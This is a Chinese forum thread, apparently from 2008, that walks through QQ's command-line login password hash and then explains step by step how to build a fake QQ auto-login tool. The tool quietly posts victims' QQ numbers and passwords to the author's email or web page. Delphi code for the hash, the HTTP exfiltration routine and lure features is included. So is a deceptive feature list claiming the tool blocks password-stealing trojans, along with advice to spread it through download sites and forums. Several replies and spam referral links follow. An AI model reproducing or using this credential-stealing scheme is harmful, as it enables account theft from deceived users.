发新话题
打印

探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程

本主题由 黑桃k 于 2008-8-30 13:23 移动

探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程

探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程


1.QQ登陆加密算法

QQ命令行启动方式:

Quote:

QQ.exe /START QQUINQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)


其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
Code Language : Delphi

function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
type
TempChar = array[0..15] of char;
var
md5: TIdHashMessageDigest5;
begin
md5 := TIdHashMessageDigest5.Create;
result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
md5.Free;
end;

Parsed in 0.015 seconds
上面函数用到的Base64函数为:
Code Language : Delphi

function Base64(Src: string): string;
const
DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
i, ModLen: integer;
Current: string;
Buf: array[1..3] of Byte;
NewBuf: array[1..4] of Byte;
begin
result := '';
if Src = '' then
   exit;
ModLen := Length(Src) mod 3;
while Length(Src) > 0 do
begin
   FillChar(Buf, 3, #0);
   Current := Copy(Src, 1, 3);
   Src := Copy(Src, 4, Length(Src) - 3);
   for i := 1 to 3 do
    Buf := Ord(Current);
   NewBuf[1] := Buf[1] shr 2;
   NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
   NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
   NewBuf[4] := Buf[3] and $3F;
   for i := 1 to 4 do
    result := result + DataSet[NewBuf + 1];
end;
if ModLen >= 1 then
   result[Length(result)] := '=';
if ModLen = 1 then
   result[Length(result) - 1] := '=';
end;

Parsed in 0.037 seconds
这样就可以实现从命令行直接登陆QQ了。

另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

2.简单打造QQ钓鱼工程

有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
http://www.gzfan.net/?u=29708 http://www.newying.org/?u=357 http://bbs.muma001.com/?u=13

TOP

编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:

Code Language : Delphi

function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
   if b <= 9 then result := chr($30 + b)
   else result := chr($41 - 10 + b);
end;
begin
result := &#39;&#39;;
for i := 1 to length(s) do
   if s = &#39; &#39; then result := result + &#39;+&#39;
   else if (s < &#39; &#39;) or (s in [&#39;/&#39;, &#39;\&#39;, &#39;:&#39;, &#39;&&#39;, &#39;?&#39;, &#39;|&#39;]) then
   begin
    v1 := ord(s) mod 16;
    v2 := ord(s) div 16;
    result := result + &#39;%&#39; + i2s(v2) + i2s(v1);
   end
   else result := result + s;
end;

function UpperCase(AStr: string): string; overload;
var
LI: Integer;
begin
Result := AStr;
for LI := 1 to Length(Result) do
   Result[LI] := UpCase(Result[LI]);
end;

// 以Post方式发信
function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = &#39;Send OK!&#39;): Boolean;
var
hSession: HINTERNET;
hConnect, hRequest: hInternet;
lpBuffer: array[0..1024 + 1] of Char;
dwBytesRead: DWORD;
HttpStr: string;
HostName, FileName: string;
FTResult: Boolean;
AcceptType: LPStr;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
procedure ParseURL(URL: string; var HostName, FileName: string);
   procedure ReplaceChar(c1, c2: Char; var St: string);
   var
    p: Integer;
   begin
    while True do
    begin
      p := Pos(c1, St);
      if p = 0 then Break
      else St[p] := c2;
    end;
   end;
var
   i: Integer;
begin
   if Pos(UpperCase(&#39;http://&#39;), UpperCase(URL)) <> 0 then
    System.Delete(URL, 1, 7);
   i := Pos(&#39;/&#39;, URL);
   HostName := Copy(URL, 1, i);
   FileName := Copy(URL, i, Length(URL) - i + 1);
   if (Length(HostName) > 0) and (HostName[Length(HostName)] = &#39;/&#39;) then
    SetLength(HostName, Length(HostName) - 1);
end;
begin
Result := False;
hSession := InternetOpen(&#39;MyApp&#39;, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
   if Assigned(hSession) then
   begin
    ParseURL(aUrl, HostName, FileName);
    hConnect := InternetConnect(hSession, PChar(HostName),
    INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
    AcceptType := PChar(&#39;Accept: */*&#39;);
    hRequest := HttpOpenRequest(hConnect, &#39OST&#39;, PChar(FileName), &#39;HTTP/1.0&#39;,
      nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
    HttpSendRequest(hRequest, &#39;Content-Type: application/x-www-form-urlencoded&#39;, 47,
      PChar(FTPostQuery), Length(FTPostQuery));
    dwIndex := 0;
    dwBufLen := 1024;
    GetMem(Buf, dwBufLen);
    FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
      Buf, dwBufLen, dwIndex);
    if FTResult = True then
    try
      while True do
      begin
       dwBytesRead := 1024;
       InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
       if dwBytesRead = 0 then break;
       lpBuffer[dwBytesRead] := #0;
       HttpStr := HttpStr + lpBuffer;
      end;
      Result := pos(strPostOkResult, HttpStr) > 0;
    finally
      InternetCloseHandle(hRequest);
      InternetCloseHandle(hConnect);
    end;
   end;
finally
   InternetCloseHandle(hSession);
end;
end;

Parsed in 0.124 seconds
我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:
http://www.gzfan.net/?u=29708 http://www.newying.org/?u=357 http://bbs.muma001.com/?u=13

TOP

QQ性别任意修改:

Code Language : Delphi

procedure ChangeSex(sex:string);
var
tmp:pchar;
h,h1,h2,h3,h4,h5:HWND;
id:integer;
begin
h := FindWindow(&#39;#32770&#39;,&#39;QQ2007设置&#39;);
if h=0 then
h := FindWindow(&#39;#32770&#39;,&#39;QQ2006设置&#39;);
if h<>0 then begin
h1 := FindWindowEx(h,0,&#39;#32770&#39;,nil);
h2 := FindWindowEx(h1,0,&#39;#32770&#39;,nil);
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
SendMessage(h3,32,0,0); //WM_SETCURSOR
id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
SendMessage(h3,334,id,0); //选择所加的那项
SendMessage(h4,13,10,longint(@tmp));
SendMessage(h4,12,0,longint(@tmp));
SendMessage(h5,245,0,0); //点击确定按钮
end
else
Application.MessageBox(&#39;请先打开QQ个人设置窗口!&#39;,&#39;提示&#39;,MB_OK);
end;

Parsed in 0.032 seconds
QQ强行聊天:
Code Language : Delphi

procedure QQChat(number:string);
var
inum:integer;
begin
if trystrtoint(number,inum) then
begin
   if inum>10000 then
   ShellExecute(handle,nil,pchar(&#39;Tencent://Message/?Menu=YES&Exe=&Uin=&#39;+number),nil,nil,SW_NORMAL)
   else
   Application.MessageBox(&#39;无此QQ号码!&#39;,&#39;提示&#39;,MB_OK);
end
else
Application.MessageBox(&#39;请输入有效的QQ号码!&#39;,&#39;提示&#39;,MB_OK);
end;

Parsed in 0.016 seconds
这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)

程序最终效果如图:


到这里我们的QQ钓鱼工程就快完成了,我们可以写个使用说明,使用点社会工程学技巧:
http://www.gzfan.net/?u=29708 http://www.newying.org/?u=357 http://bbs.muma001.com/?u=13

TOP

Quote:

程序功能:
1.自动登陆
能有效防止所有的QQ盗号木马,因为QQ盗号木马是通过截获QQ登陆窗口实现盗号的
使用本软件登陆QQ,即使你中了QQ木马,你的QQ也不会被盗

2.QQ性别任意修改
可以将你QQ性别修改为任意的(你的QQ好友查看你的QQ资料时即可看到效果)

3.强行聊天
能和任意QQ号码聊天,无须添加对方为好友
……


然后发到国内一些下载站上去,或者在一些论坛宣传……你就等着收QQ吧!


郑重声明:本文旨在技术交流,其中介绍的技术仅供测试,非法盗取他人帐号是违法的。对使用本文所介绍的技术引起的任何法律问题与本人。无关!
http://www.gzfan.net/?u=29708 http://www.newying.org/?u=357 http://bbs.muma001.com/?u=13

TOP

完全看不懂。。。哎。。我浪费你心机了。。。。

TOP

太深了,怎么 看怎么不懂,头有点晕~~~~~~~ [s:19]

TOP

我很想知道你是怎么想出来的.. [s:21] [s:21]

TOP

还可以
宇天&静

TOP

太深了,怎么 看怎么不懂,头有点晕~~~~~~~
我太菜了

TOP

发新话题